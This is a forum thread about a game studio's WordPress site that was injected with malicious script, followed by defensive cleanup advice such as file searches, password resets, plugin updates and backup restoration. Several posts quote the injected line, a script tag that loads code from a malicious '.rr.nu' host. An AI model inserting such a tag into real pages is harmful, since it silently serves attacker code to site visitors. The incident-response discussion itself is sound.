Jump to content

Website got injected


DrAtomic

Recommended Posts

The Xenonauts homepage has been injected with a malicious url. Look at the parsed code and you'll find <script src="http://rie21rcom.rr.nu/mm.php?d=1"></script> at the end of the script.

Most common causes are farmed FTP passwords or usage of opensource software that needs to be updated or usage of variables in custom code that arent checked against XSS. See http://www.acunetix.com to download a free scanner (the free scanner will highlight enough to see what needs to be fixed, clean the website first before running it though.

Edited by DrAtomic
Removed Fixed from header
Link to comment
Share on other sites

OK site appears to be restored and all major passwords are changed, plus the wordpress admin directory is changed from default. Hopefully that'll stop it happening again - but I'll have a play with Acunetix when it arrives. Thanks for the information!

You're welcome. Common cause outside of the website sources itself are farmed ftp accounts. Website wise; just be sure to be running the latest version of wordpress and also make sure to check if any plugins need updating (from your wp admin area).

Link to comment
Share on other sites

I am still getting sent to malicious sites when visiting this website, unfortunately... (was sent to another Russian site about a minute ago).

Registered just to give a head's up :)

(or was it my cache? hmmm - I would advise keeping an eye out anyway).

Edited by gandie
Link to comment
Share on other sites

Wonderful. I've updated Wordpress to the latest version and changed my Wordpress password now too.

I don't know what else could be causing it, because there's only one FTP user with access to the domain and I changed the password on that yesterday. I hope it doesn't happen again.

Link to comment
Share on other sites

Hmmm, even that doesn't seem to be working. I installed a heavy-duty Wordpress security plugin, hopefully that'll prevent further intrusion...

But according to http://sitecheck.sucuri.net/scanner/, I still have malicious code on the website. Anyone know a method for how I can find and remove it?

*. Check the modification date of your index.php (since it got infected again) to check what the last time of getting infected was/is.

*. Download all the webfiles to your local computer

*. Search for the string '.rr.nu' in all files

*. Clean all files that contain <script src="http://blablablablabla.rr.nu/mm.php?d=1"></script>; the string will be added to the bottom of the files, so open file, scroll to bottom, delete.

*. Check the content of your .htaccess (could contain a malicious rewrite rule) and make sure it is what it should be. If unsure or if you never modified the original then simply delete it and replace it with an original that comes with the wordpress sources. My guess is that you do use url rewrite (search engine friendly urls based

*. Run a virus scanner over the downloaded code (this will find any files that may have been uploaded that reinfest the website).

*. Make sure to run a maleware scanner on your own computer as well.

*. Once everything is clean again, reset your passwords again just to be sure.

Edited by DrAtomic
Link to comment
Share on other sites

It might have been this vulnerability, as I see you have the Timthumb plugin:

http://markmaunder.com/2011/08/02/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/

That page is a very good writeup, and explains the possibility that they may have installed a backdoor - even if you have fixed how they got in the first time, they may have installed another way. It seems to be pretty common with Wordpress hacks to use a php based backdoor. DrAtomic's advice to run a virus scanner on the server is a good idea in my opinion. Sadly detection of php malware generally isn't as good as for exe stuff.

DrAtomic's advice sounds very good to me so I'm going to leave him to it, but I do have one question: you say you updated Wordpress, did you update all the plugins, too? I saw a very large number of exploited Wordpress sites at work today (AV industry), via some gallery plugin that lives in a directory named fgallery.

Good luck! This kind of hack is normally automated, so once you do clear out the traces they're not likely to come back.

Link to comment
Share on other sites

I couldn't get that to work. In the end I took the nuclear option and wiped the site, then restored a backup I took in January. I then applied all the security fixes, which should hopefully close the original vulnerabilities, and updated my passwords. It appears to have fixed the issue.

Thank god for backups, eh?

Link to comment
Share on other sites

Chris, you've been checking naughty Russian sites for mail order brides again haven't you? :P J/K

I've got some friends that do web security work if need be. Just say the word and can give you the name of a good company that provides site security.

Link to comment
Share on other sites

I think I've done a pretty good job of dealing with the malware, but I'm still getting occasional reports of people encountering warnings from the site (even though I've scanned the whole thing for the problem script and found nothing).

The vulnerability only affects IE and people have mentioned encountering it on the Screenshot and Pre-Order pages so far (I've had some problems with script errors on the screenshot page when I open a screenshot).

If anyone knows anything about web security, would they mind having a look at that page to see if they can replicate the malware warnings? I can't seem to do it myself so I don't really know what to look for...

Link to comment
Share on other sites

  • 4 weeks later...

I am taking a look. Not sure if I will be able to find anything.

EDIT: I cannot find anything at the moment...but I will do more of a check once I am out of training and home.

Edited by Greven
Update
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...